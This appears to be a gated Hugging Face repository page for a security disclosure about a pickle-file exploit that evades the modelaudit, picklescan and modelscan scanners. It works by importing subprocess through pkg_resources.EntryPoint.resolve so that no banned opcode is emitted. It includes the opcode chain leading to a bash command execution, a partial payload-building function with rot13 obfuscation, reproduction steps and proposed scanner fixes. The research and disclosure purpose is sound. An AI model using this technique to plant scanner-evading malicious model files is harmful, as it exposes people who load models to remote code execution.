You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
pkg_resources.EntryPoint.resolve β GLOBAL Ban Bypass via String Import
Security Research β Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request β see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 2 | Yes β 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
EntryPoint.resolve() imports and returns any Python callable identified by a module name and attribute path. The module name is a constructor argument β a plain string β not a pickle GLOBAL opcode.
subprocess is in ALWAYS_DANGEROUS_MODULES (prefix match catches all subprocess.*). But the ban operates at the GLOBAL opcode level. When EntryPoint.resolve() internally does from subprocess import check_call, no pickle GLOBAL for subprocess is emitted.
The resolved callable (returned from EntryPoint.resolve) is then called with the command β again, no preceding GLOBAL opcode for subprocess.check_call. modelaudit's REDUCE check fires based on the GLOBAL from the previous opcode context (EntryPoint.resolve), not subprocess.check_call. The actual dangerous call is invisible.
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(cmd: str) -> bytes:
rot13_cmd = codecs.encode(cmd, "rot_13")
ops = bytearray(b"\x80\x04")
# _codecs.encode(rot13_cmd, 'rot_13') β cmd [0 findings]
ops += sg("_codecs", "encode") + sbu(rot13_cmd) + sbu("rot_13") + b"\x86R"
ops += b"\x94\x30" # MEMOIZE 0, POP
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) β any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-pkg-resources-entrypoint
cd pickle-bypass-pkg-resources-entrypoint
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan β observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
- Add
"pkg_resources.EntryPoint"toALWAYS_DANGEROUS_FUNCTIONS - Extend string scanner to flag dangerous module names appearing as string literals in known loader patterns
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently β the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
pkg_resources.EntryPoint.resolve β GLOBAL Ban Bypass via String Import
Score: 0 CRITICAL, 2 WARNING
Technique: Dangerous module imported as string argument, never as pickle GLOBAL opcode
Scanner version: modelaudit 0.2.37
Mechanism
EntryPoint.resolve() imports and returns any Python callable identified by a module name and attribute path. The module name is a constructor argument β a plain string β not a pickle GLOBAL opcode.
subprocess is in ALWAYS_DANGEROUS_MODULES (prefix match catches all subprocess.*). But the ban operates at the GLOBAL opcode level. When EntryPoint.resolve() internally does from subprocess import check_call, no pickle GLOBAL for subprocess is emitted.
The resolved callable (returned from EntryPoint.resolve) is then called with the command β again, no preceding GLOBAL opcode for subprocess.check_call. modelaudit's REDUCE check fires based on the GLOBAL from the previous opcode context (EntryPoint.resolve), not subprocess.check_call. The actual dangerous call is invisible.
Pickle Structure
_codecs.encode(rot13_cmd, 'rot_13') β cmd [0 findings]
pkg_resources.EntryPoint('x', 'subprocess', ['check_call']) β ep [WARNING 1]
pkg_resources.EntryPoint.resolve(ep) β subprocess.check_call [WARNING 2]
subprocess.check_call(['bash', '-c', cmd]) β RCE [no new GLOBAL]
Why The Banned Module Is Invisible
The string "subprocess" is visible as a constructor argument in the pickle bytes. But the GLOBAL-based deny list only fires on pickle GLOBAL opcodes, not on string values. If the string scanner were extended to flag dangerous module names as string literals (not just as GLOBAL opcodes), this path would be closed.
Implication
This technique applies to any module that accepts a module:attr string and performs the import internally: importlib.metadata.EntryPoint, stevedore, pluggy, plugin registries, etc.
Recommended Fix
- Add
"pkg_resources.EntryPoint"toALWAYS_DANGEROUS_FUNCTIONS - Extend string scanner to flag dangerous module names appearing as string literals in known loader patterns
Requirements
pip install setuptools
General Analysis β Security Research